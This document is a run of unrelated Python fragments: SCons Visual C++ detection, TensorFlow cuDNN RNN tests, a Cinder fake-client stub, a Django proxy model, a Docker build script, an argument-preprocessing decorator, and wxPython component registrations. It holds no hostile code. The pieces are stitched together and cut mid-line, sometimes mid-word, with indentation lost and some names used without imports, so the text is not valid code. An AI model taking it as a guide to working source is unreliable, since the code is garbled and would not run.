from SCons.Tool import find_program_path
from . import common
debug = common.debug
from . import sdk
get_installed_sdks = sdk.get_installed_sdks
class VisualCException(Exception):
pass
class UnsupportedVersion(VisualCException):
pass
class MSVCUnsupportedHostArch(VisualCException):
pass
class MSVCUnsupportedTargetArch(VisualCException):
pass
class MissingConfiguration(VisualCException):
pass
class NoVersionFound(VisualCException):
pass
class BatchFileExecutionError(VisualCException):
pass
# Dict to 'canonalize' the arch
_ARCH_TO_CANONICAL = {
"amd64" : "amd64",
"emt64" : "amd64",
"i386" : "x86",
"i486" : "x86",
"i586" : "x86",
"i686" : "x86",
"ia64" : "ia64", # deprecated
"itanium" : "ia64", # deprecated
"x86" : "x86",
"x86_64" : "amd64",
"arm" : "arm",
"arm64" : "arm64",
"aarch64" : "arm64",
}
_HOST_TARGET_TO_CL_DIR_GREATER_THAN_14 = {
("amd64","amd64") : ("Hostx64","x64"),
("amd64","x86") : ("Hostx64","x86"),
("amd64","arm") : ("Hostx64","arm"),
("amd64","arm64") : ("Hostx64","arm64"),
("x86","amd64") : ("Hostx86","x64"),
("x86","x86") : ("Hostx86","x86"),
("x86","arm") : ("Hostx86","arm"),
("x86","arm64") : ("Hostx86","arm64"),
}
# get path to the cl.exe dir for older VS versions
# based off a tuple of (host, target) platforms
_HOST_TARGET_TO_CL_DIR = {
("amd64","amd64") : "amd64",
("amd64","x86") : "amd64_x86",
("amd64","arm") : "amd64_arm",
("amd64","arm64") : "amd64_arm64",
("x86","amd64") : "x86_amd64",
("x86","x86") : "",
("x86","arm") : "x86_arm",
("x86","arm64") : "x86_arm64",
}
# Given a (host, target) tuple, return the argument for the bat file.
# Both host and targets should be canonalized.
_HOST_TARGET_ARCH_TO_BAT_ARCH = {
("x86", "x86"): "x86",
("x86", "amd64"): "x86_amd64",
("x86", "x86_amd64"): "x86_amd64",
("amd64", "x86_amd64"): "x86_amd64", # This is present in (at least) VS2012 express
("amd64", "amd64"): "amd64",
("amd64", "x86"): "x86",
("x86", "ia64"): "x86_ia64", # gone since 14.0
("arm", "arm"): "arm", # since 14.0, maybe gone 14.1?
("x86", "arm"): "x86_arm", # since 14.0
("x86", "arm64"): "x86_arm64", # since 14.1
("amd64", "arm"): "amd64_arm", # since 14.0
("amd64", "arm64"): "amd64_arm64", # since 14.1
}
_CL_EXE_NAME = 'cl.exe'
def get_msvc_version_numeric(msvc_version):
"""Get the raw version numbers from a MSVC_VERSION string, so it
could be cast to float or other numeric values. For example, '14.0Exp'
would get converted to '14.0'.
Args:
msvc_version: str
string representing the version number, could contain non
digit characters
Returns:
str: the value converted to a numeric only string
"""
return ''.join([x for x in msvc_version if x in string_digits + '.'])
def get_host_target(env):
debug('get_host_target()')
host_platform = env.get('HOST_ARCH')
if not host_platform:
host_platform = platform.machine()
# Solaris returns i86pc for both 32 and 64 bit architectures
if host_platform == "i86pc":
if platform.architecture()[0] == "64bit":
host_platform = "amd64"
else:
host_platform = "x86"
# Retain user requested TARGET_ARCH
req_target_platform = env.get('TARGET_ARCH')
debug('get_host_target() req_target_platform:%s'%req_target_platform)
if req_target_platform:
# If user requested a specific platform then only try that one.
target_platform = req_target_platform
else:
target_platform = host_platform
try:
host = _ARCH_TO_CANONICAL[host_platform.lower()]
except KeyError:
msg = "Unrecognized host architecture %s"
raise MSVCUnsupportedHostArch(msg % repr(host_platform))
try:
target = _ARCH_TO_CANONICAL[target_platform.lower()]
except KeyError:
all_archs = str(list(_ARCH_TO_CANONICAL.keys()))
raise MSVCUnsupportedTargetArch("Unrecognized target architecture %s\n\tValid architectures: %s" % (target_platform, all_archs))
return (host, target,req_target_platform)
# If you update this, update SupportedVSList in Tool/MSCommon/vs.py, and the
# MSVC_VERSION documentation in Tool/msvc.xml.
_VCVER = ["14.2", "14.1", "14.0", "14.0Exp", "12.0", "12.0Exp", "11.0", "11.0Exp", "10.0", "10.0Exp", "9.0", "9.0Exp","8.0", "8.0Exp","7.1", "7.0", "6.0"]
# if using vswhere, a further mapping is needed
_VCVER_TO_VSWHERE_VER = {
'14.2' : '[16.0, 17.0)',
'14.1' : '[15.0, 16.0)',
}
_VCVER_TO_PRODUCT_DIR = {
'14.2' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'')], # VS 2019 doesn't set this key
'14.1' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'')], # VS 2017 doesn't set this key
'14.0' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\14.0\Setup\VC\ProductDir')],
'14.0Exp' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VCExpress\14.0\Setup\VC\ProductDir')],
'12.0' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\12.0\Setup\VC\ProductDir'),
],
'12.0Exp' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VCExpress\12.0\Setup\VC\ProductDir'),
],
'11.0': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\11.0\Setup\VC\ProductDir'),
],
'11.0Exp' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VCExpress\11.0\Setup\VC\ProductDir'),
],
'10.0': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStu | dio\10.0\Setup\VC\ProductDir'),
],
'10.0Exp' : [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VCExpress\10.0\Setup\VC\ProductDir'),
],
'9.0': [
(SCons.Util.HKEY_CURRENT_USER, r'Microsoft\DevDiv\VCForPython\9.0\installdir',),
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\9.0\Setup\VC\ProductDir',),
],
'9.0Exp' : [
(SCo | ns.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VCExpress\9.0\Setup\VC\ProductDir'),
],
'8.0': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\8.0\Setup\VC\ProductDir'),
],
'8.0Exp': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VCExpress\8.0\Setup\VC\ProductDir'),
],
'7.1': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\7.1\Setup\VC\ProductDir'),
],
'7.0': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\7.0\Setup\VC\ProductDir'),
],
'6.0': [
(SCons.Util.HKEY_LOCAL_MACHINE, r'Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++\ProductDir'),
]
}
def msvc_version_to_maj_min(msvc_version):
msvc_version_numeric = get_msvc_version_numeric(msvc_version)
t = msvc_version_numeric.split(".")
if not len(t) == 2:
raise ValueError("Unrecognized version %s (%s)" % (msvc_version,msvc_version_numeric))
try:
maj = int(t[0])
min = int(t[1])
return maj, min
except ValueError as e:
raise ValueError("Unrecognized version %s (%s)" % (msvc_version,msvc_version_numeric))
def is_host_target_supported(host_target, msvc_version):
"""Check if (host, target) pair is supported for a VC version.
:note: only checks whether a given version *may* support the given (host,
target), not that the toolchain is actually present on the machine.
:param tuple host_target: canonalized host-targets pair, e.g.
("x86" |
nput and initial state values for testing."""
np.random.seed(seed)
num_layers = self._rnn.num_layers
dir_count = self._rnn.num_dirs
num_units = self._rnn.num_units
input_size = self._rnn.input_size
np_dtype = np.float32 if self._dtype == dtypes.float32 else np.float64
inputs = np.random.randn(seq_length, batch_size,
input_size).astype(np_dtype)
input_h = np.random.randn(num_layers * dir_count, batch_size,
num_units).astype(np_dtype)
if self._rnn.rnn_mode == CUDNN_LSTM:
input_c = np.random.randn(num_layers * dir_count, batch_size,
num_units).astype(np_dtype)
initial_state = (input_h, input_c)
else:
initial_state = (input_h,)
return inputs, initial_state
def ZeroState(self, batch_size):
num_layers = self._rnn.num_layers
dir_count = self._rnn.num_dirs
num_units = self._rnn.num_units
np_dtype = np.float32 if self._dtype == dtypes.float32 else np.float64
input_h = np.zeros((num_layers * dir_count, batch_size,
num_units)).astype(np_dtype)
if self._rnn.rnn_mode == CUDNN_LSTM:
input_c = np.zeros((num_layers * dir_count, batch_size,
num_units)).astype(np_dtype)
initial_state = (input_h, input_c)
else:
initial_state = (input_h,)
return initial_state
def FProp(self, inputs_t, initial_state_t, training):
"""Builds additional subgraph with given inputs and state.
Args:
inputs_t: a tensor.
initial_state_t: a tensor.
training: boolean, true if training mode.
Returns:
A tensor of the forward pass output of the model.
"""
outputs, output_state = self._rnn(
inputs_t, initial_state=initial_state_t, training=training)
return self._AddUp(outputs, output_state)
def Feed(self, sess, inputs, initial_state=None, return_sum=True):
"""Runs graph with given inputs and initial state."""
batch_size = inputs.shape[1]
if initial_state is None:
initial_state = self.ZeroState(batch_size)
if return_sum:
return sess.run(
self.total_sum,
feed_dict={self.inputs: inputs,
self.initial_state: initial_state})
else:
return sess.run(
[self.outputs, self.output_state],
feed_dict={self.inputs: inputs,
self.initial_state: initial_state})
def _CreateCudnnCompatibleCanonicalRNN(rnn, inputs, is_bidi=False, scope=None):
mode = rnn.rnn_mode
num_units = rnn.num_units
num_layers = rnn.num_layers
# To reuse cuDNN-trained models, must use cudnn compatible rnn cells.
if mode == CUDNN_LSTM:
single_cell = lambda: cudnn_rnn_ops.CudnnCompatibleLSTMCell(num_units)
elif mode == CUDNN_GRU:
single_cell = lambda: cudnn_rnn_ops.CudnnCompatibleGRUCell(num_units)
elif mode == CUDNN_RNN_TANH:
single_cell = (lambda: rnn_cell_impl.BasicRNNCell(num_units, math_ops.tanh))
elif mode == CUDNN_RNN_RELU:
single_cell = (
lambda: rnn_cell_impl.BasicRNNCell(num_units, gen_nn_ops.relu))
else:
raise ValueError("%s is not supported!" % mode)
if not is_bidi:
cell = rnn_cell_impl.MultiRNNCell(
[single_cell() for _ in range(num_layers)])
return rnn_lib.dynamic_rnn(
cell, inputs, dtype=dtypes.float32, time_major=True, scope=scope)
else:
cells_fw = [single_cell() for _ in range(num_layers)]
cells_bw = [single_cell() for _ in range(num_layers)]
(outputs, output_state_fw,
output_state_bw) = contrib_rnn_lib.stack_bidirectional_dynamic_rnn(
cells_fw,
cells_bw,
inputs,
dtype=dtypes.float32,
time_major=True,
scope=scope)
return outputs, (output_state_fw, output_state_bw)
class CudnnRNNTestBasic(test_util.TensorFlowTestCase):
@unittest.skipUnless(test.is_built_with_cuda(),
"Test only applicable when running on GPUs")
def testLayerBasic(self):
num_layers = 4
num_units = 2
batch_size = 8
direction = CUDNN_RNN_UNIDIRECTION
dir_count = 1
with vs.variable_scope("main"):
kernel_initializer = init_ops.constant_initializer(0.)
bias_initializer = init_ops.constant_initializer(0.)
inputs = random_ops.random_uniform([
num_layers * dir_count, batch_size, num_units], dtype=dtypes.float32)
lstm = cudnn_rnn.CudnnLSTM(num_layers, num_units,
direction=direction,
kernel_initializer=kernel_initializer,
bias_initializer=bias_initializer,
name="awesome_lstm")
# Build the layer
outputs1, _ = lstm(inputs)
# Reuse the layer
outputs2, _ = lstm(inputs)
total_sum1 = math_ops.reduce_sum(outputs1)
total_sum2 = math_ops.reduce_sum(outputs2)
with vs.variable_scope("main", reuse=True):
lstm = cudnn_rnn.CudnnLSTM(num_layers, num_units,
direction=direction,
kernel_initializer=kernel_initializer,
bias_initializer=bias_initializer,
name="awesome_lstm")
# Reuse the layer
outputs3, _ = lstm(inputs)
total_sum3 = math_ops.reduce_sum(outputs3)
self.assertEqual(1, len(variables.trainable_variables()))
self.assertEqual(1, len(ops.get_collection(ops.GraphKeys.SAVEABLE_OBJECTS)))
self.assertEqual("main/awesome_lstm/opaque_kernel",
variables.trainable_variables()[0].op.name)
with self.test_session(use_gpu=True) as sess:
sess.run(variables.global_variables_initializer())
(total_sum1_v, total_sum2_v, total_sum3_v) = sess.run(
[total_sum1, total_sum2, total_sum3])
self.assertEqual(0, total_sum1_v)
self.assertEqual(0, total_sum2_v)
self.assertEqual(0, total_sum3_v)
@unittest.skipUnless(test.is_built_with_cuda(),
"Test only applicable when running on GPUs")
def testOptimizersSupport(self):
for opt in ("adagrad", "adam", "rmsprop", "momentum", "sgd"):
self._TestOptimizerSupportHelper(opt)
def _GetOptimizer(self, opt):
if opt == "adagrad":
return adagrad.AdagradOptimizer(learning_rate=1e-2)
elif opt == "adam":
return adam.AdamOptimizer(learning_rate=1e-2)
elif opt == "rmsprop":
return rmsprop.RMSPropOptimizer(learning_rate=1e-2)
elif opt == "momentum":
return momentum.MomentumOptimizer(learning_rate=1e-2, momentum=0.9)
elif opt == "sgd":
return gradient_descent.GradientDescentOptimizer(learning_rate=1e-2)
else:
raise ValueError("Unsupported optimizer: %s" % opt)
def _TestOptimizerSupportHelper(self, opt):
num_layers = 4
num_units = 2
batch_size = 8
direction = CUDNN_RNN_UNIDIRECTION
dir_count = 1
with ops.Graph().as_default() as g:
kernel_initializer = init_ops.constant_initializer(0.)
bias_initializer = init_ops.constant_initializer(0.)
inputs = rando | m_ops.random_uniform([
num_layers * dir_count, bat | ch_size, num_units], dtype=dtypes.float32)
lstm = cudnn_rnn.CudnnLSTM(num_layers, num_units,
direction=direction,
kernel_initializer=kernel_initializer,
bias_initializer=bias_initializer,
name="awesome_lstm")
outputs, _ = lstm(inputs)
loss = math_ops.reduce_sum(outputs)
optimizer = self._GetOptimizer(opt)
train_op = optimizer.minimize(loss)
with self.test_session(use_gpu=True, graph=g) as sess:
sess.run(variables.global_variables_initializer())
sess.run(train_op)
@unittest.skipUnless(test.is_built_with_cuda(),
"Test only applicable when running on GPUs")
def testSaveableGraphDeviceAssignment(self):
num_layers = 4
num_units = 2
batch_size = 8
direction = CUDNN_RNN_UNIDIRECTION
dir_count = 1
def DeviceFn(op):
if o |
"updated": "2011-06-09T00:00:00+00:00"
},
{
"alias": "FAKE-2",
"description": "Fake extension number 2",
"links": [],
"name": "Fake2",
"namespace": ("http://docs.openstack.org/"
"/ext/fake1/api/v1.1"),
"updated": "2011-06-09T00:00:00+00:00"
},
]
return (200, {}, {"extensions": exts, })
#
# VolumeBackups
#
def get_backups_76a17945_3c6f_435c_975b_b5685db10b62(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
backup1 = '76a17945-3c6f-435c-975b-b5685db10b62'
return (200, {},
{'backup': _stub_backup_full(backup1, base_uri, tenant_id)})
def get_backups_detail(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
backup1 = '76a17945-3c6f-435c-975b-b5685db10b62'
backup2 = 'd09534c6-08b8-4441-9e87-8976f3a8f699'
return (200, {},
{'backups': [
_stub_backup_full(backup1, base_uri, tenant_id),
_stub_backup_full(backup2, base_uri, tenant_id)]})
def delete_backups_76a17945_3c6f_435c_975b_b5685db10b62(self, **kw):
return (202, {}, None)
def post_backups(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
backup1 = '76a17945-3c6f-435c-975b-b5685db10b62'
return (202, {},
{'backup': _stub_backup(backup1, base_uri, tenant_id)})
def post_backups_76a17945_3c6f_435c_975b_b5685db10b62_restore(self, **kw):
return (200, {},
{'restore': _stub_restore()})
#
# QoSSpecs
#
def get_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
qos_id1 = '1B6B6A04-A927-4AEB-810B-B7BAAD49F57C'
return (200, {},
_stub_qos_full(qos_id1, base_uri, tenant_id))
def get_qos_specs(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
qos_id1 = '1B6B6A04-A927-4AEB-810B-B7BAAD49F57C'
qos_id2 = '0FD8DD14-A396-4E55-9573-1FE59042E95B'
return (200, {},
{'qos_specs': [
_stub_qos_full(qos_id1, base_uri, tenant_id, 'name-1'),
_stub_qos_full(qos_id2, base_uri, tenant_id)]})
def post_qos_specs(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
qos_id = '1B6B6A04-A927-4AEB-810B-B7BAAD49F57C'
qos_name = 'qos-name'
return (202, {},
_stub_qos_full(qos_id, base_uri, tenant_id, qos_name))
def put_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C(self, **kw):
return (202, {}, None)
def put_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C_delete_keys(
self, **kw):
return (202, {}, None)
def delete_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C(self, **kw):
return (202, {}, None)
def get_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C_associations(
self, **kw):
type_id1 = '4230B13A-7A37-4E84-B777-EFBA6FCEE4FF'
type_id2 = '4230B13A-AB37-4E84-B777-EFBA6FCEE4FF'
type_name1 = 'type1'
type_name2 = 'type2'
return (202, {},
{'qos_associations': [
_stub_qos_associates(type_id1, type_name1),
_stub_qos_associates(type_id2, type_name2)]})
def get_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C_associate(
self, **kw):
return (202, {}, None)
def get_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C_disassociate(
self, **kw):
return (202, {}, None)
def get_qos_specs_1B6B6A04_A927_4AEB_810B_B7BAAD49F57C_disassociate_all(
self, **kw):
return (202, {}, None)
#
#
# VolumeTransfers
#
def get_os_volume_transfer_5678(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
transfer1 = '5678'
return (200, {},
{'transfer':
_stub_transfer_full(transfer1, base_uri, tenant_id)})
def get_os_volume_transfer_detail(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
transfer1 = '5678'
transfer2 = 'f625ec3e-13dd-4498-a22a-50afd534cc41'
return (200, {}, |
{'transfers': [
_stub_transfer_full(transfer1, base_uri, tenant_id),
_stub_transfer_full(transfer2, base_uri, tenant_id)]})
def delete_os_volume_transfer_5678(self, **kw):
return (202, {}, None)
def post_os_volume_transfer(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
transfer1 = '5678'
return (202, {},
| {'transfer': _stub_transfer(transfer1, base_uri, tenant_id)})
def post_os_volume_transfer_5678_accept(self, **kw):
base_uri = 'http://localhost:8776'
tenant_id = '0fa851f6668144cf9cd8c8419c1646c1'
transfer1 = '5678'
return (200, {},
{'transfer': _stub_transfer(transfer1, base_uri, tenant_id)})
#
# Services
#
def get_os_services(self, **kw):
host = kw.get('host', None)
binary = kw.get('binary', None)
services = [
{
'binary': 'cinder-volume',
'host': 'host1',
'zone': 'cinder',
'status': 'enabled',
'state': 'up',
'updated_at': datetime(2012, 10, 29, 13, 42, 2)
},
{
'binary': 'cinder-volume',
'host': 'host2',
'zone': 'cinder',
'status': 'disabled',
'state': 'down',
'updated_at': datetime(2012, 9, 18, 8, 3, 38)
},
{
'binary': 'cinder-scheduler',
'host': 'host2',
'zone': 'cinder',
'status': 'disabled',
'state': 'down',
'updated_at': datetime(2012, 9, 18, 8, 3, 38)
},
]
if host:
services = filter(lambda i: i['host'] == host, services)
if binary:
services = filter(lambda i: i['binary'] == binary, services)
return (200, {}, {'services': services})
def put_os_services_enable(self, body, **kw):
return (200, {}, {'host': body['host'], 'binary': body['binary'],
'status': 'disabled'})
def put_os_services_disable(self, body, **kw):
return (200, {}, {'host': body['host'], 'binary': body['binary'],
'status': 'enabled'})
def get_os_availability_zone(self, **kw):
return (200, {}, {
"availabilityZoneInfo": [
{
"zoneName": "zone-1",
"zoneState": {"available": True},
"hosts": None,
},
{
"zoneName": "zone-2",
"zoneState": {"available": False},
"hosts": None,
},
]
})
def get_os_availability_zone_detail(self, **kw):
return (200, {}, {
"availabilityZoneInfo": [
{
"zoneName": "zone-1",
"zoneState": {"available": True},
"hosts": {
"fake_host-1": {
"cinder-volume": {
"active": True,
"available": True,
"updated_at":
datetime(2012, 12, 26, 14, 45, 25, 0)
|
from registrator.models.registration_entry import RegistrationEntry
from uni_info.models import Sect | ion
class RegistrationProxy(Registr | ationEntry):
"""
Proxy class which handles actually doing the registration in a system
of a :model:`registrator.RegistrationEntry`
"""
# I guess functions for registration in Concordia's system would go here?
def add_schedule_item(self, schedule_item):
section_list = schedule_item.sections
sections = {}
sections['MainSec'] = section_list[0]
for i in range(1, len(section_list)):
sections['RelSec' + str(i)] = section_list[i]
sections['course_letters'] = section_list[0].course.course_letters
sections['course_numbers'] = section_list[0].course.course_numbers
sections['session'] = section_list[0].semester_year
sections['CatNum'] = '12345'
sections['Start'] = section_list[0].start_time
sections['Finish'] = section_list[0].end_time
sections['Campus'] = 'S'
sections['Title'] = section_list[0].course.name
return sections
class Meta:
proxy = True |
import argparse
import docker
import logging
import os
import docket
logger = logging.getLogger('docket')
logging.basicConfig()
parser = argparse.ArgumentParser(description='')
parser.add_argument('-t --tag', dest='tag', help='tag for final image')
parser.add_argument('--verbose', dest='verbose', action='store_true', help='verbose output', default=False)
parser.add_argument('--no-cache', dest='no_cache', action='store_true', help='Do not use cache when building the image', default=False)
parser.add_argument('buildpath', nargs='*')
args = parser.parse_args()
if args.verbose:
logger.setLevel(logging.DEBUG)
cert_path = os.environ.get('DOCKER_CERT_PATH', '')
tls_verify = os.environ.get('DOCKER_TLS_VERIFY', '0')
base_url = os.environ.get('DOCKER_HOST', 'tcp://127.0.0.1:2375')
base_url = base_url.replace('tcp:', 'h | ttps:')
tls_config = None
if cert_path:
tls_config = docker.tls.TLSConfig(verify=tls_verify,
client_cert=(os.path.join(cert_path, 'cert.pem'), os.path.join(cert_path, 'key.pem')),
ca_cert=os.path.join(cert_path, 'ca.pem')
)
client = docker.Client(base_url=base_url, version='1.15', timeout=10, tls=t | ls_config)
tag = args.tag or None
buildpath = args.buildpath[0]
def main():
docket.build(client=client, tag=tag, buildpath=buildpath, no_cache=args.no_cache)
exit()
if __name__ == '__main__':
main()
|
"""
Utilities for validating inputs to user-facing API functions.
"""
from textwrap import dedent
from types import CodeType
from functools import wraps
from inspect import getargspec
from uuid import uuid4
from toolz.curried.operator import getitem
from six import viewkeys, exec_, PY3
_code_argorder = (
('co_argcount', 'co_kwonlyargcount') if PY3 else ('co_argcount',)
) + (
'co_nlocals',
'co_stacksize',
'co_flags',
'co_code',
'co_consts',
'co_names',
'co_varnames',
'co_filename',
'co_name',
'co_firstlineno',
'co_lnotab',
'co_freevars',
'co_cellvars',
)
NO_DEFAULT = object()
def preprocess(*_unused, **processors):
"""
Decorator that applies pre-processors to the arguments of a function before
calling the function.
Parameters
----------
**processors : dict
Map from argument name -> processor function.
A processor function takes three arguments: (func, argname, argvalue).
`func` is the the function for which we're processing args.
`argname` is the name of the argument we're processing.
`argvalue` is the value of the argument we're processing.
Examples
--------
>>> def _ensure_tuple(func, argname, arg):
... if isinstance(arg, tuple):
... return argvalue
... try:
... return tuple(arg)
... except TypeError:
... raise TypeError(
... "%s() expected argument '%s' to"
... " be iterable, but got %s instead." % (
... func.__name__, argname, arg,
... )
... )
...
>>> @preprocess(arg=_ensure_tuple)
... def foo(arg):
... return arg
...
>>> foo([1, 2, 3])
(1, 2, 3)
>>> foo("a")
('a',)
>>> foo(2)
Traceback (most recent call last):
...
TypeError: foo() expected argument 'arg' to be iterable, but got 2 instead.
"""
if _unused:
raise TypeError("preprocess() doesn't accept positional arguments")
def _decorator(f):
args, varargs, varkw, defaults = argspec = getargspec(f)
if defaults is None:
defaults = ()
no_defaults = (NO_DEFAULT,) * (len(args) - len(defaults))
args_defaults = list(zip(args, no_defaults + defaults))
if varargs:
args_defaults.append((varargs, NO_DEFAULT))
if varkw:
args_defaults.append((varkw, NO_DEFAULT))
argset = set(args) | {varargs, varkw} - {None}
# Arguments can be declared as tuples in Python 2.
if not all(isinstance(arg, str) for arg in args):
| raise TypeError(
"Can't validate functions using tuple unpacking: %s" %
(argspec,)
)
# Ensure | that all processors map to valid names.
bad_names = viewkeys(processors) - argset
if bad_names:
raise TypeError(
"Got processors for unknown arguments: %s." % bad_names
)
return _build_preprocessed_function(
f, processors, args_defaults, varargs, varkw,
)
return _decorator
def call(f):
"""
Wrap a function in a processor that calls `f` on the argument before
passing it along.
Useful for creating simple arguments to the `@preprocess` decorator.
Parameters
----------
f : function
Function accepting a single argument and returning a replacement.
Examples
--------
>>> @preprocess(x=call(lambda x: x + 1))
... def foo(x):
... return x
...
>>> foo(1)
2
"""
@wraps(f)
def processor(func, argname, arg):
return f(arg)
return processor
def _build_preprocessed_function(func,
processors,
args_defaults,
varargs,
varkw):
"""
Build a preprocessed function with the same signature as `func`.
Uses `exec` internally to build a function that actually has the same
signature as `func.
"""
format_kwargs = {'func_name': func.__name__}
def mangle(name):
return 'a' + uuid4().hex + name
format_kwargs['mangled_func'] = mangled_funcname = mangle(func.__name__)
def make_processor_assignment(arg, processor_name):
template = "{arg} = {processor}({func}, '{arg}', {arg})"
return template.format(
arg=arg,
processor=processor_name,
func=mangled_funcname,
)
exec_globals = {mangled_funcname: func, 'wraps': wraps}
defaults_seen = 0
default_name_template = 'a' + uuid4().hex + '_%d'
signature = []
call_args = []
assignments = []
star_map = {
varargs: '*',
varkw: '**',
}
def name_as_arg(arg):
return star_map.get(arg, '') + arg
for arg, default in args_defaults:
if default is NO_DEFAULT:
signature.append(name_as_arg(arg))
else:
default_name = default_name_template % defaults_seen
exec_globals[default_name] = default
signature.append('='.join([name_as_arg(arg), default_name]))
defaults_seen += 1
if arg in processors:
procname = mangle('_processor_' + arg)
exec_globals[procname] = processors[arg]
assignments.append(make_processor_assignment(arg, procname))
call_args.append(name_as_arg(arg))
exec_str = dedent(
"""\
@wraps({wrapped_funcname})
def {func_name}({signature}):
{assignments}
return {wrapped_funcname}({call_args})
"""
).format(
func_name=func.__name__,
signature=', '.join(signature),
assignments='\n '.join(assignments),
wrapped_funcname=mangled_funcname,
call_args=', '.join(call_args),
)
compiled = compile(
exec_str,
func.__code__.co_filename,
mode='exec',
)
exec_locals = {}
exec_(compiled, exec_globals, exec_locals)
new_func = exec_locals[func.__name__]
code = new_func.__code__
args = {
attr: getattr(code, attr)
for attr in dir(code)
if attr.startswith('co_')
}
# Copy the firstlineno out of the underlying function so that exceptions
# get raised with the correct traceback.
# This also makes dynamic source inspection (like IPython `??` operator)
# work as intended.
try:
# Try to get the pycode object from the underlying function.
original_code = func.__code__
except AttributeError:
try:
# The underlying callable was not a function, try to grab the
# `__func__.__code__` which exists on method objects.
original_code = func.__func__.__code__
except AttributeError:
# The underlying callable does not have a `__code__`. There is
# nothing for us to correct.
return new_func
args['co_firstlineno'] = original_code.co_firstlineno
new_func.__code__ = CodeType(*map(getitem(args), _code_argorder))
return new_func
|
ticLine', ['control','tool'],
['pos', 'size'], image=images.TreeStaticLine.GetImage())
c.addStyles('wxLI_HORIZONTAL', 'wxLI_VERTICAL')
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'line', 'wxStaticLine', 20)
component.Manager.setTool(c, 'Controls', pos=(0,3))
### wxStaticBitmap
c = component.Component('wxStaticBitmap', ['control','tool'],
['pos', 'size', 'bitmap'],
image=images.TreeStaticBitmap.GetImage())
c.setSpecial('bitmap', attribute.BitmapAttribute)
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'bitmap', 'wxStaticLine', 30)
component.Manager.setTool(c, 'Controls', pos=(1,0))
### wxTextCtrl
c = component.Component('wxTextCtrl', ['control','tool'],
['pos', 'size', 'value'],
image=images.TreeTextCtrl.GetImage())
c.addStyles('wxTE_NO_VSCROLL',
'wxTE_AUTO_SCROLL',
'wxTE_PROCESS_ENTER',
'wxTE_PROCESS_TAB',
'wxTE_MULTILINE',
'wxTE_PASSWORD',
'wxTE_READONLY',
'wxHSCROLL',
'wxTE_RICH',
'wxTE_RICH2',
'wxTE_AUTO_URL',
'wxTE_NOHIDESEL',
'wxTE_LEFT',
'wxTE_CENTRE',
'wxTE_RIGHT',
'wxTE_DONTWRAP',
'wxTE_LINEWRAP',
'wxTE_CHARWRAP',
'wxTE_WORDWRAP')
c.setParamClass('value', params.ParamMultilineText)
c.addEvents('EVT_TEXT', 'EVT_TEXT_ENTER', 'EVT_TEXT_URL', 'EVT_TEXT_MAXLEN')
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'text ctrl', 'wxTextCtrl', 40)
component.Manager.setTool(c, 'Controls', pos=(0,2))
### wxChoice
c = component.Component('wxChoice', ['control','tool'],
['pos', 'size', 'content', 'selection'],
image=images.TreeChoice.GetImage())
c.addStyles('wxCB_SORT')
c.setSpecial('content', attribute.ContentAttribute)
c.addEvents('EVT_CHOICE')
component.Manager.register(c)
component.Manager.setMenu(c, 'control', 'choice', 'wxChoice', 50)
component.Manager.setTool(c, 'Controls', pos=(3,2))
### wxSlider
c = component.Component('wxSlider', ['control','tool'],
['pos', 'size', 'value', 'min', 'max',
'tickfreq', 'pagesize', 'linesize', 'thumb', 'tick',
'selmin', 'selmax'],
image=images.TreeSlider.GetImage())
c.addStyles('wxSL_HORIZONTAL', 'wxSL_VERTICAL', 'wxSL_AUTOTICKS', 'wxSL_LABELS',
'wxSL_LEFT', 'wxSL_RIGHT', 'wxSL_TOP', 'wxSL_BOTTOM',
'wxSL_BOTH', 'wxSL_SELRANGE', 'wxSL_INVERSE')
component.Manager.register(c)
c.setParamClass('value', params.ParamInt)
c.setParamClass('tickfreq', params.ParamIntNN)
c.setParamClass('pagesize', params.ParamIntNN)
c.setParamClass('linesize', params.ParamIntNN)
c.setParamClass('thumb', params.ParamUnit)
c.setParamClass('tick', params.ParamInt)
c.setParamClass('selmin', params.ParamInt)
